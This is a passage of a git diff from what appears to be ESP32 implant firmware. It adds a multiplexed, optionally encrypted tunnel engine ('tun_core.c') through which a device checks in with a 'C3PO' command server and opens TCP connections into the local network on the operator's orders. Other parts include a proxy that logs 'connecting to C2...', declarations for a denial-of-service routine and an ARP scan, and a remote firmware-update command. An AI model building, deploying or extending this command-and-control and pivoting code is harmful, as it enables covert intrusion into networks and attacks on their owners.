setsockopt(dst, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));
if (connect(dst, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
msg_error(TAG, "connect failed", NULL);
close(dst);
continue;
}
/* Send payload */
char payload[RX_BUF_SIZE];
unescape_payload(payload_escaped, payload, sizeof(payload));
send(dst, payload, strlen(payload), 0);
/* Receive response (stream) */
char rx[RX_BUF_SIZE];
while ((len = recv(dst, rx, sizeof(rx), 0)) > 0) {
msg_data(TAG, rx, len, false, NULL);
}
/* End of stream */
msg_data(TAG, NULL, 0, true, NULL);
close(dst);
}
close(cc_client);
cc_client = -1;
proxy_running = 0;
msg_info(TAG, "proxy stopped", NULL);
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void init_proxy(char *ip, int port)
{
struct sockaddr_in server = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = inet_addr(ip),
};
for (int retry = 0; retry < MAX_PROXY_RETRY; retry++) {
cc_client = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (cc_client < 0) {
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
continue;
}
msg_info(TAG, "connecting to C2...", NULL);
if (connect(cc_client,
(struct sockaddr *)&server,
sizeof(server)) == 0) {
proxy_running = 1;
xTaskCreate(
proxy_task,
"proxy_task",
8192,
NULL,
5,
NULL
);
return;
}
close(cc_client);
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
}
msg_error(TAG, "unable to connect to C2", NULL);
}

View File

@ -1,3 +1,5 @@
#pragma once
#include <stdint.h>
// dos.c
void start_dos(const char *t_ip, uint16_t t_port, int turn);
@ -6,7 +8,4 @@ void start_dos(const char *t_ip, uint16_t t_port, int turn);
void arp_scan_task(void *pvParameters);
// ping.c
int do_ping_cmd(int argc, char **argv);
// proxy.c
void init_proxy(char *ip, int port);
int do_ping_cmd(int argc, char **argv, const char *req);

View File

@ -0,0 +1,795 @@
/*
* tun_core.c SOCKS5 Tunnel Engine
* Multiplexed binary-framed TCP proxy via C3PO.
* Replaces the old mod_proxy single-shot relay.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "esp_random.h"
#include "utils.h"
#include "tun_core.h"
#define TAG "TUNNEL"
/* ============================================================
* Global state
* ============================================================ */
static tun_state_t g_tun = {
.running = false,
.encrypted = false,
.c3po_sock = -1,
.rx_buf_len = 0,
.task_handle = NULL,
.last_ping_tick = 0,
};
/* ============================================================
* Socket helpers
* ============================================================ */
static bool send_all(int sock, const void *buf, size_t len)
{
const uint8_t *p = (const uint8_t *)buf;
while (len > 0) {
int sent = send(sock, p, len, 0);
if (sent <= 0) return false;
p += sent;
len -= sent;
}
return true;
}
static int recv_exact(int sock, void *buf, size_t len, int timeout_s)
{
struct timeval tv = { .tv_sec = timeout_s, .tv_usec = 0 };
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
uint8_t *p = (uint8_t *)buf;
size_t remaining = len;
while (remaining > 0) {
int n = recv(sock, p, remaining, 0);
if (n <= 0) return -1;
p += n;
remaining -= n;
}
return (int)len;
}
static bool set_nonblocking(int sock)
{
int flags = fcntl(sock, F_GETFL, 0);
if (flags < 0) return false;
return fcntl(sock, F_SETFL, flags | O_NONBLOCK) == 0;
}
/* ============================================================
* Frame I/O
* ============================================================ */
static bool tun_send_frame(uint16_t chan_id, tun_frame_type_t type,
const uint8_t *data, uint16_t data_len)
{
if (g_tun.c3po_sock < 0) return false;
uint8_t hdr[TUN_FRAME_HDR_SIZE];
hdr[0] = (chan_id >> 8) & 0xFF;
hdr[1] = chan_id & 0xFF;
hdr[2] = (uint8_t)type;
hdr[3] = (data_len >> 8) & 0xFF;
hdr[4] = data_len & 0xFF;
#ifdef CONFIG_TUNNEL_ENCRYPT
if (g_tun.encrypted) {
/* Assemble plaintext frame */
uint8_t plain[TUN_FRAME_MAX_PLAIN];
memcpy(plain, hdr, TUN_FRAME_HDR_SIZE);
if (data && data_len > 0) {
memcpy(plain + TUN_FRAME_HDR_SIZE, data, data_len);
}
size_t plain_len = TUN_FRAME_HDR_SIZE + data_len;
/* Encrypt: nonce[12] || ciphertext || tag[16] */
uint8_t enc[TUN_FRAME_MAX_ENC];
int enc_len = crypto_encrypt(plain, plain_len,
enc + 2, sizeof(enc) - 2);
if (enc_len < 0) {
ESP_LOGE(TAG, "frame encrypt failed");
return false;
}
/* Prepend 2-byte length */
enc[0] = (enc_len >> 8) & 0xFF;
enc[1] = enc_len & 0xFF;
return send_all(g_tun.c3po_sock, enc, 2 + enc_len);
}
#endif
/* Plaintext: header + data */
if (!send_all(g_tun.c3po_sock, hdr, TUN_FRAME_HDR_SIZE))
return false;
if (data && data_len > 0) {
if (!send_all(g_tun.c3po_sock, data, data_len))
return false;
}
return true;
}
/* Returns 0 on success, -1 on error, 1 if no complete frame yet */
static int tun_read_frame(uint16_t *out_chan, tun_frame_type_t *out_type,
uint8_t *out_data, uint16_t *out_len)
{
#ifdef CONFIG_TUNNEL_ENCRYPT
if (g_tun.encrypted) {
/* Need at least 2 bytes for length prefix */
if (g_tun.rx_buf_len < 2) return 1;
uint16_t enc_len = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
if (enc_len > TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD) return -1;
size_t total = 2 + enc_len;
if (g_tun.rx_buf_len < total) return 1;
/* Decrypt */
uint8_t plain[TUN_FRAME_MAX_PLAIN];
int plain_len = crypto_decrypt(g_tun.rx_buf + 2, enc_len,
plain, sizeof(plain));
if (plain_len < TUN_FRAME_HDR_SIZE) {
/* Consume and discard bad frame */
g_tun.rx_buf_len -= total;
if (g_tun.rx_buf_len > 0)
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
return -1;
}
*out_chan = ((uint16_t)plain[0] << 8) | plain[1];
*out_type = (tun_frame_type_t)plain[2];
*out_len = ((uint16_t)plain[3] << 8) | plain[4];
if (*out_len > (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE))
*out_len = (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE);
if (*out_len > 0)
memcpy(out_data, plain + TUN_FRAME_HDR_SIZE, *out_len);
g_tun.rx_buf_len -= total;
if (g_tun.rx_buf_len > 0)
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
return 0;
}
#endif
/* Plaintext: need at least 5-byte header */
if (g_tun.rx_buf_len < TUN_FRAME_HDR_SIZE) return 1;
*out_chan = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
*out_type = (tun_frame_type_t)g_tun.rx_buf[2];
*out_len = ((uint16_t)g_tun.rx_buf[3] << 8) | g_tun.rx_buf[4];
if (*out_len > TUN_FRAME_MAX_DATA) return -1;
size_t total = TUN_FRAME_HDR_SIZE + *out_len;
if (g_tun.rx_buf_len < total) return 1;
if (*out_len > 0)
memcpy(out_data, g_tun.rx_buf + TUN_FRAME_HDR_SIZE, *out_len);
g_tun.rx_buf_len -= total;
if (g_tun.rx_buf_len > 0)
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
return 0;
}
/* ============================================================
* Channel management
* ============================================================ */
static tun_channel_t *chan_get(uint16_t id)
{
if (id == 0 || id > TUN_MAX_CHANNELS) return NULL;
return &g_tun.channels[id - 1];
}
static void chan_close(uint16_t id, uint8_t reason)
{
tun_channel_t *ch = chan_get(id);
if (!ch || ch->state == CHAN_FREE) return;
if (ch->sock >= 0) {
close(ch->sock);
ch->sock = -1;
}
/* Notify C3PO */
tun_send_frame(id, TUN_FRAME_CLOSE, &reason, 1);
ESP_LOGI(TAG, "chan %u closed (reason=%u tx=%"PRIu32" rx=%"PRIu32")",
id, reason, ch->bytes_tx, ch->bytes_rx);
ch->state = CHAN_FREE;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
}
static void chan_close_all(void)
{
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
tun_channel_t *ch = chan_get(i);
if (ch && ch->state != CHAN_FREE) {
if (ch->sock >= 0) {
close(ch->sock);
ch->sock = -1;
}
ch->state = CHAN_FREE;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
}
}
}
static void chan_send_error(uint16_t id, const char *msg)
{
tun_send_frame(id, TUN_FRAME_ERROR,
(const uint8_t *)msg, (uint16_t)strlen(msg));
}
/* ============================================================
* Frame handlers
* ============================================================ */
/* OPEN payload: [IPv4:4][port:2][domain_len:1][domain:0-255] */
static void tun_handle_open(uint16_t chan_id, const uint8_t *data, uint16_t len)
{
tun_channel_t *ch = chan_get(chan_id);
if (!ch) {
chan_send_error(chan_id, "invalid channel id");
return;
}
if (ch->state != CHAN_FREE) {
chan_send_error(chan_id, "channel in use");
return;
}
if (len < 7) {
chan_send_error(chan_id, "OPEN too short");
return;
}
/* Parse target address */
uint32_t ipv4_raw;
memcpy(&ipv4_raw, data, 4);
uint16_t port = ((uint16_t)data[4] << 8) | data[5];
uint8_t domain_len = data[6];
struct sockaddr_in target = {
.sin_family = AF_INET,
.sin_port = htons(port),
};
/* Try domain resolution first (ESP32-side, sees target network DNS) */
if (domain_len > 0 && len >= (uint16_t)(7 + domain_len)) {
char domain[256];
memcpy(domain, data + 7, domain_len);
domain[domain_len] = '\0';
struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
struct addrinfo *result = NULL;
ESP_LOGD(TAG, "chan %u resolving %s", chan_id, domain);
if (getaddrinfo(domain, NULL, &hints, &result) == 0 && result) {
struct sockaddr_in *addr = (struct sockaddr_in *)result->ai_addr;
target.sin_addr = addr->sin_addr;
freeaddrinfo(result);
} else {
if (result) freeaddrinfo(result);
/* Fallback to provided IPv4 */
target.sin_addr.s_addr = ipv4_raw;
}
} else {
target.sin_addr.s_addr = ipv4_raw;
}
/* Create socket and start non-blocking connect */
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (s < 0) {
chan_send_error(chan_id, "socket() failed");
return;
}
/* Set connect timeout */
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
char ip_str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &target.sin_addr, ip_str, sizeof(ip_str));
ESP_LOGI(TAG, "chan %u connecting to %s:%u", chan_id, ip_str, port);
if (connect(s, (struct sockaddr *)&target, sizeof(target)) != 0) {
ESP_LOGW(TAG, "chan %u connect failed: %s", chan_id, strerror(errno));
close(s);
chan_send_error(chan_id, "connect failed");
return;
}
/* Set non-blocking after connect succeeds */
set_nonblocking(s);
ch->sock = s;
ch->state = CHAN_OPEN;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
/* Send OPEN_OK */
tun_send_frame(chan_id, TUN_FRAME_OPEN_OK, NULL, 0);
ESP_LOGI(TAG, "chan %u opened -> %s:%u", chan_id, ip_str, port);
}
static void tun_handle_data(uint16_t chan_id, const uint8_t *data, uint16_t len)
{
tun_channel_t *ch = chan_get(chan_id);
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) return;
/* Temporarily set blocking for reliable send */
int flags = fcntl(ch->sock, F_GETFL, 0);
fcntl(ch->sock, F_SETFL, flags & ~O_NONBLOCK);
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
setsockopt(ch->sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
const uint8_t *p = data;
size_t remaining = len;
while (remaining > 0) {
int sent = send(ch->sock, p, remaining, 0);
if (sent <= 0) {
ESP_LOGW(TAG, "chan %u send error", chan_id);
chan_close(chan_id, TUN_CLOSE_RESET);
return;
}
p += sent;
remaining -= sent;
}
ch->bytes_tx += len;
/* Restore non-blocking */
fcntl(ch->sock, F_SETFL, flags);
}
static void tun_handle_close(uint16_t chan_id)
{
tun_channel_t *ch = chan_get(chan_id);
if (!ch || ch->state == CHAN_FREE) return;
if (ch->sock >= 0) {
close(ch->sock);
ch->sock = -1;
}
ESP_LOGI(TAG, "chan %u closed by C3PO (tx=%"PRIu32" rx=%"PRIu32")",
chan_id, ch->bytes_tx, ch->bytes_rx);
ch->state = CHAN_FREE;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
}
static void tun_handle_ping(const uint8_t *data, uint16_t len)
{
/* Echo back as PONG on channel 0 (control) */
tun_send_frame(0, TUN_FRAME_PONG, data, len);
}
/* ============================================================
* Authentication
* ============================================================ */
static bool tun_authenticate(int sock)
{
/*
* Send: magic[4] + flags[1] + device_id_len[1] + device_id[N]
* + encrypted("espilon-tunnel-v1")
*
* Encrypted token = nonce[12] + ciphertext[17] + tag[16] = 45 bytes
* C3PO verifies by decrypting with the device's derived key.
*/
const char *dev_id = CONFIG_DEVICE_ID;
size_t id_len = strlen(dev_id);
/* Encrypt auth token */
uint8_t enc_token[TUN_AUTH_TOKEN_LEN + TUN_CRYPTO_OVERHEAD];
int enc_len = crypto_encrypt(
(const uint8_t *)TUN_AUTH_TOKEN, TUN_AUTH_TOKEN_LEN,
enc_token, sizeof(enc_token)
);
if (enc_len < 0) {
ESP_LOGE(TAG, "auth token encrypt failed");
return false;
}
/* Build handshake: magic + flags + id_len + id + encrypted_token */
uint8_t flags = 0;
#ifdef CONFIG_TUNNEL_ENCRYPT
flags |= 0x01; /* Request AEAD mode */
#endif
size_t total = TUN_MAGIC_LEN + 1 + 1 + id_len + enc_len;
uint8_t *pkt = malloc(total);
if (!pkt) return false;
size_t off = 0;
memcpy(pkt + off, TUN_MAGIC, TUN_MAGIC_LEN); off += TUN_MAGIC_LEN;
pkt[off++] = flags;
pkt[off++] = (uint8_t)id_len;
memcpy(pkt + off, dev_id, id_len); off += id_len;
memcpy(pkt + off, enc_token, enc_len);
bool ok = send_all(sock, pkt, total);
free(pkt);
if (!ok) {
ESP_LOGE(TAG, "auth handshake send failed");
return false;
}
/* Wait for response: 1 byte (0x00 = OK, 0x01 = FAILED) */
uint8_t resp;
if (recv_exact(sock, &resp, 1, TUN_CONNECT_TIMEOUT_S) < 0) {
ESP_LOGE(TAG, "auth response timeout");
return false;
}
if (resp != 0x00) {
ESP_LOGE(TAG, "auth rejected (0x%02x)", resp);
return false;
}
ESP_LOGI(TAG, "authenticated (flags=0x%02x)", flags);
return true;
}
/* ============================================================
* Main select() loop
* ============================================================ */
static void tun_dispatch_frames(void)
{
uint16_t chan_id;
tun_frame_type_t type;
uint8_t frame_data[TUN_FRAME_MAX_DATA];
uint16_t frame_len;
while (true) {
int rc = tun_read_frame(&chan_id, &type, frame_data, &frame_len);
if (rc == 1) break; /* Incomplete frame, need more data */
if (rc == -1) {
ESP_LOGW(TAG, "bad frame, skipping");
continue;
}
switch (type) {
case TUN_FRAME_OPEN:
tun_handle_open(chan_id, frame_data, frame_len);
break;
case TUN_FRAME_DATA:
tun_handle_data(chan_id, frame_data, frame_len);
break;
case TUN_FRAME_CLOSE:
tun_handle_close(chan_id);
break;
case TUN_FRAME_PING:
tun_handle_ping(frame_data, frame_len);
break;
case TUN_FRAME_PONG:
/* Received pong, tunnel is alive - nothing to do */
break;
default:
ESP_LOGW(TAG, "unknown frame type 0x%02x", type);
break;
}
}
}
/* Connect + authenticate to C3PO tunnel server. Returns socket or -1. */
static int tun_connect_and_auth(void)
{
struct sockaddr_in server = {
.sin_family = AF_INET,
.sin_port = htons(g_tun.c3po_port),
.sin_addr.s_addr = inet_addr(g_tun.c3po_ip),
};
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (s < 0) return -1;
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
if (connect(s, (struct sockaddr *)&server, sizeof(server)) != 0) {
close(s);
return -1;
}
if (!tun_authenticate(s)) {
close(s);
return -1;
}
return s;
}
/* Run the select() loop until C3PO connection drops or tun_stop() called. */
static void tun_select_loop(void)
{
uint8_t data_buf[TUN_FRAME_MAX_DATA];
g_tun.last_ping_tick = xTaskGetTickCount();
while (g_tun.running) {
fd_set read_fds;
FD_ZERO(&read_fds);
int max_fd = g_tun.c3po_sock;
FD_SET(g_tun.c3po_sock, &read_fds);
/* Add all open channel sockets */
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
tun_channel_t *ch = chan_get(i);
if (ch && ch->state == CHAN_OPEN && ch->sock >= 0) {
FD_SET(ch->sock, &read_fds);
if (ch->sock > max_fd) max_fd = ch->sock;
}
}
struct timeval tv = {
.tv_sec = 0,
.tv_usec = TUN_SELECT_TIMEOUT_MS * 1000,
};
int ready = select(max_fd + 1, &read_fds, NULL, NULL, &tv);
if (ready < 0) {
if (errno == EINTR) continue;
ESP_LOGE(TAG, "select() error: %s", strerror(errno));
break;
}
/* Read from C3PO tunnel socket */
if (ready > 0 && FD_ISSET(g_tun.c3po_sock, &read_fds)) {
size_t space = sizeof(g_tun.rx_buf) - g_tun.rx_buf_len;
if (space > 0) {
int n = recv(g_tun.c3po_sock,
g_tun.rx_buf + g_tun.rx_buf_len,
space, 0);
if (n <= 0) {
ESP_LOGW(TAG, "C3PO connection lost");
return; /* Break to reconnect loop */
}
g_tun.rx_buf_len += n;
}
tun_dispatch_frames();
}
/* Read from channel sockets, forward to C3PO */
if (ready > 0) {
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
tun_channel_t *ch = chan_get(i);
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) continue;
if (!FD_ISSET(ch->sock, &read_fds)) continue;
int n = recv(ch->sock, data_buf, sizeof(data_buf), 0);
if (n > 0) {
ch->bytes_rx += n;
if (!tun_send_frame(i, TUN_FRAME_DATA, data_buf, (uint16_t)n)) {
ESP_LOGW(TAG, "C3PO send failed");
return; /* Break to reconnect loop */
}
} else if (n == 0) {
/* Target closed connection */
chan_close(i, TUN_CLOSE_NORMAL);
} else {
if (errno != EAGAIN && errno != EWOULDBLOCK) {
chan_close(i, TUN_CLOSE_RESET);
}
}
}
}
/* Periodic PING keepalive */
uint32_t now = xTaskGetTickCount();
if ((now - g_tun.last_ping_tick) >=
pdMS_TO_TICKS(TUN_PING_INTERVAL_S * 1000)) {
uint32_t ts = (uint32_t)(now / portTICK_PERIOD_MS);
uint8_t ts_buf[4];
ts_buf[0] = (ts >> 24) & 0xFF;
ts_buf[1] = (ts >> 16) & 0xFF;
ts_buf[2] = (ts >> 8) & 0xFF;
ts_buf[3] = ts & 0xFF;
tun_send_frame(0, TUN_FRAME_PING, ts_buf, 4);
g_tun.last_ping_tick = now;
}
}
}
static void tun_task(void *arg)
{
const char *req_id = (const char *)arg;
msg_info(TAG, "tunnel connected", req_id);
uint32_t backoff_ms = TUN_RECONNECT_MIN_MS;
/* Outer reconnect loop */
while (g_tun.running) {
/* Run until connection drops or tun_stop() */
tun_select_loop();
/* Cleanup after disconnect */
chan_close_all();
if (g_tun.c3po_sock >= 0) {
close(g_tun.c3po_sock);
g_tun.c3po_sock = -1;
}
g_tun.rx_buf_len = 0;
/* If stopped intentionally, exit */
if (!g_tun.running) break;
/* Reconnect with exponential backoff */
ESP_LOGW(TAG, "reconnecting in %"PRIu32"ms...", backoff_ms);
vTaskDelay(pdMS_TO_TICKS(backoff_ms));
if (!g_tun.running) break;
int s = tun_connect_and_auth();
if (s >= 0) {
g_tun.c3po_sock = s;
g_tun.rx_buf_len = 0;
memset(g_tun.channels, 0, sizeof(g_tun.channels));
for (int i = 0; i < TUN_MAX_CHANNELS; i++)
g_tun.channels[i].sock = -1;
backoff_ms = TUN_RECONNECT_MIN_MS; /* Reset on success */
ESP_LOGI(TAG, "tunnel reconnected");
} else {
/* Exponential backoff: double, cap at max */
backoff_ms *= 2;
if (backoff_ms > TUN_RECONNECT_MAX_MS)
backoff_ms = TUN_RECONNECT_MAX_MS;
ESP_LOGW(TAG, "reconnect failed, next attempt in %"PRIu32"ms",
backoff_ms);
}
}
/* Final cleanup */
chan_close_all();
if (g_tun.c3po_sock >= 0) {
close(g_tun.c3po_sock);
g_tun.c3po_sock = -1;
}
g_tun.running = false;
g_tun.rx_buf_len = 0;
msg_info(TAG, "tunnel stopped", req_id);
/* Free heap-allocated request_id */
if (req_id) free((void *)req_id);
g_tun.task_handle = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id)
{
if (g_tun.running) return false;
/* Store address for reconnect */
snprintf(g_tun.c3po_ip, sizeof(g_tun.c3po_ip), "%s", c3po_ip);
g_tun.c3po_port = c3po_port;
/* Initial connection with retry loop */
int s = -1;
for (int retry = 0; retry < TUN_MAX_RETRY; retry++) {
ESP_LOGI(TAG, "connecting to %s:%d (attempt %d)...",
c3po_ip, c3po_port, retry + 1);
s = tun_connect_and_auth();
if (s >= 0) break;
vTaskDelay(pdMS_TO_TICKS(TUN_RETRY_DELAY_MS));
}
if (s < 0) {
msg_error(TAG, "unable to connect to tunnel server", req_id);
return false;
}
/* Initialize state */
g_tun.c3po_sock = s;
g_tun.rx_buf_len = 0;
g_tun.running = true;
#ifdef CONFIG_TUNNEL_ENCRYPT
g_tun.encrypted = true;
#else
g_tun.encrypted = false;
#endif
memset(g_tun.channels, 0, sizeof(g_tun.channels));
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
g_tun.channels[i].sock = -1;
}
/* Heap-copy request_id for the task (freed inside tun_task) */
char *req_copy = req_id ? strdup(req_id) : NULL;
xTaskCreatePinnedToCore(
tun_task,
"tun_task",
CONFIG_TUNNEL_TASK_STACK,
req_copy,
5,
&g_tun.task_handle,
1 /* Core 1 */
);
return true;
}
void tun_stop(void)
{
g_tun.running = false;
/* Task will exit on next select() timeout and clean up */
}
bool tun_is_running(void)
{
return g_tun.running;
}
void tun_get_status(char *buf, size_t buf_len)
{
if (!g_tun.running) {
snprintf(buf, buf_len, "tunnel=stopped");
return;
}
int open_chans = 0;
uint32_t total_tx = 0, total_rx = 0;
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
if (g_tun.channels[i].state == CHAN_OPEN) {
open_chans++;
total_tx += g_tun.channels[i].bytes_tx;
total_rx += g_tun.channels[i].bytes_rx;
}
}
snprintf(buf, buf_len,
"tunnel=running channels=%d/%d tx=%"PRIu32" rx=%"PRIu32" enc=%s",
open_chans, TUN_MAX_CHANNELS,
total_tx, total_rx,
g_tun.encrypted ? "aead" : "plain");
}

View File

@ -0,0 +1,126 @@
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#include "sdkconfig.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
/* ============================================================
* Tuneable constants (Kconfig overrides)
* ============================================================ */
#ifndef CONFIG_TUNNEL_MAX_CHANNELS
#define CONFIG_TUNNEL_MAX_CHANNELS 8
#endif
#ifndef CONFIG_TUNNEL_FRAME_MAX
#define CONFIG_TUNNEL_FRAME_MAX 4096
#endif
#ifndef CONFIG_TUNNEL_TASK_STACK
#define CONFIG_TUNNEL_TASK_STACK 6144
#endif
/* ============================================================
* Protocol constants
* ============================================================ */
#define TUN_MAX_CHANNELS CONFIG_TUNNEL_MAX_CHANNELS
#define TUN_FRAME_MAX_DATA CONFIG_TUNNEL_FRAME_MAX
#define TUN_FRAME_HDR_SIZE 5 /* chan_id(2) + type(1) + length(2) */
#define TUN_FRAME_MAX_PLAIN (TUN_FRAME_HDR_SIZE + TUN_FRAME_MAX_DATA)
/* Crypto overhead: nonce(12) + tag(16) */
#define TUN_CRYPTO_NONCE_LEN 12
#define TUN_CRYPTO_TAG_LEN 16
#define TUN_CRYPTO_OVERHEAD (TUN_CRYPTO_NONCE_LEN + TUN_CRYPTO_TAG_LEN)
/* Encrypted frame: 2-byte length prefix + nonce + encrypted(header+data) + tag */
#define TUN_FRAME_MAX_ENC (2 + TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD)
/* RX buffer must hold the largest possible frame */
#define TUN_RX_BUF_SIZE TUN_FRAME_MAX_ENC
/* Timeouts & limits */
#define TUN_CONNECT_TIMEOUT_S 5
#define TUN_SELECT_TIMEOUT_MS 100
#define TUN_MAX_RETRY 10
#define TUN_RETRY_DELAY_MS 5000
#define TUN_PING_INTERVAL_S 30
#define TUN_OPEN_TIMEOUT_S 10
/* Reconnect backoff (exponential: min -> min*2 -> ... -> max) */
#define TUN_RECONNECT_MIN_MS 1000
#define TUN_RECONNECT_MAX_MS 30000
/* Authentication */
#define TUN_MAGIC "TUN\x01"
#define TUN_MAGIC_LEN 4
#define TUN_AUTH_TOKEN "espilon-tunnel-v1"
#define TUN_AUTH_TOKEN_LEN 17
/* ============================================================
* Frame types
* ============================================================ */
typedef enum {
TUN_FRAME_OPEN = 0x01,
TUN_FRAME_OPEN_OK = 0x02,
TUN_FRAME_DATA = 0x03,
TUN_FRAME_CLOSE = 0x04,
TUN_FRAME_ERROR = 0x05,
TUN_FRAME_PING = 0x06,
TUN_FRAME_PONG = 0x07,
} tun_frame_type_t;
/* Close reasons */
#define TUN_CLOSE_NORMAL 0
#define TUN_CLOSE_RESET 1
#define TUN_CLOSE_TIMEOUT 2
/* ============================================================
* Channel state
* ============================================================ */
typedef enum {
CHAN_FREE = 0,
CHAN_CONNECTING,
CHAN_OPEN,
CHAN_CLOSING,
} tun_chan_state_t;
typedef struct {
tun_chan_state_t state;
int sock; /* Target-side TCP socket, -1 if free */
uint32_t bytes_tx;
uint32_t bytes_rx;
} tun_channel_t;
/* ============================================================
* Global tunnel state
* ============================================================ */
typedef struct {
volatile bool running;
bool encrypted; /* Per-frame AEAD mode */
int c3po_sock; /* Socket to C3PO tunnel server */
tun_channel_t channels[TUN_MAX_CHANNELS];
uint8_t rx_buf[TUN_RX_BUF_SIZE];
size_t rx_buf_len; /* Bytes buffered (partial frame) */
TaskHandle_t task_handle;
uint32_t last_ping_tick; /* For keepalive */
char c3po_ip[48]; /* Stored for reconnect */
int c3po_port; /* Stored for reconnect */
} tun_state_t;
/* ============================================================
* Public API
* ============================================================ */
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id);
void tun_stop(void);
bool tun_is_running(void);
void tun_get_status(char *buf, size_t buf_len);

View File

@ -0,0 +1,5 @@
idf_component_register(
SRCS cmd_ota.c
INCLUDE_DIRS .
REQUIRES core esp_https_ota app_update esp_http_client mbedtls
)

View File

@ -0,0 +1,159 @@
/*
* cmd_ota.c
* OTA firmware update commands (HTTPS + cert bundle)
* Compiled as empty when CONFIG_ESPILON_OTA_ENABLED is not set.
*/
#include "sdkconfig.h"
#ifdef CONFIG_ESPILON_OTA_ENABLED
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "esp_system.h"
#include "esp_ota_ops.h"
#include "esp_https_ota.h"
#include "esp_http_client.h"
#include "esp_crt_bundle.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
#define TAG "OTA"
/* ============================================================
* COMMAND: ota_update <url> (async)
* ============================================================ */
static esp_err_t cmd_ota_update(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
const char *url = argv[0];
char buf[256];
snprintf(buf, sizeof(buf), "url=%s", url);
msg_info(TAG, buf, req);
esp_http_client_config_t http_config = {
.url = url,
#ifdef CONFIG_ESPILON_OTA_ALLOW_HTTP
.skip_cert_common_name_check = true,
#else
.crt_bundle_attach = esp_crt_bundle_attach,
#endif
.timeout_ms = 30000,
.keep_alive_enable = true,
};
esp_https_ota_config_t ota_config = {
.http_config = &http_config,
};
esp_https_ota_handle_t ota_handle = NULL;
esp_err_t err = esp_https_ota_begin(&ota_config, &ota_handle);
if (err != ESP_OK) {
snprintf(buf, sizeof(buf), "begin_failed=%s", esp_err_to_name(err));
msg_error(TAG, buf, req);
return err;
}
int total_size = esp_https_ota_get_image_size(ota_handle);
int last_pct = -1;
while (1) {
err = esp_https_ota_perform(ota_handle);
if (err != ESP_ERR_HTTPS_OTA_IN_PROGRESS) break;
if (total_size > 0) {
int bytes_read = esp_https_ota_get_image_len_read(ota_handle);
int pct = (bytes_read * 100) / total_size;
if (pct / 10 != last_pct / 10) {
last_pct = pct;
snprintf(buf, sizeof(buf), "progress=%d%%", pct);
msg_info(TAG, buf, req);
}
}
}
if (err != ESP_OK) {
snprintf(buf, sizeof(buf), "download_failed=%s", esp_err_to_name(err));
msg_error(TAG, buf, req);
esp_https_ota_abort(ota_handle);
return err;
}
err = esp_https_ota_finish(ota_handle);
if (err != ESP_OK) {
if (err == ESP_ERR_OTA_VALIDATE_FAILED) {
msg_error(TAG, "validate_failed=image_corrupted", req);
} else {
snprintf(buf, sizeof(buf), "finish_failed=%s", esp_err_to_name(err));
msg_error(TAG, buf, req);
}
return err;
}
msg_info(TAG, "status=success rebooting=true", req);
vTaskDelay(pdMS_TO_TICKS(500));
esp_restart();
return ESP_OK;
}
/* ============================================================
* COMMAND: ota_status
* ============================================================ */
static esp_err_t cmd_ota_status(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
const esp_partition_t *running = esp_ota_get_running_partition();
const esp_partition_t *boot = esp_ota_get_boot_partition();
esp_app_desc_t app_desc;
esp_ota_get_partition_description(running, &app_desc);
char buf[256];
snprintf(buf, sizeof(buf),
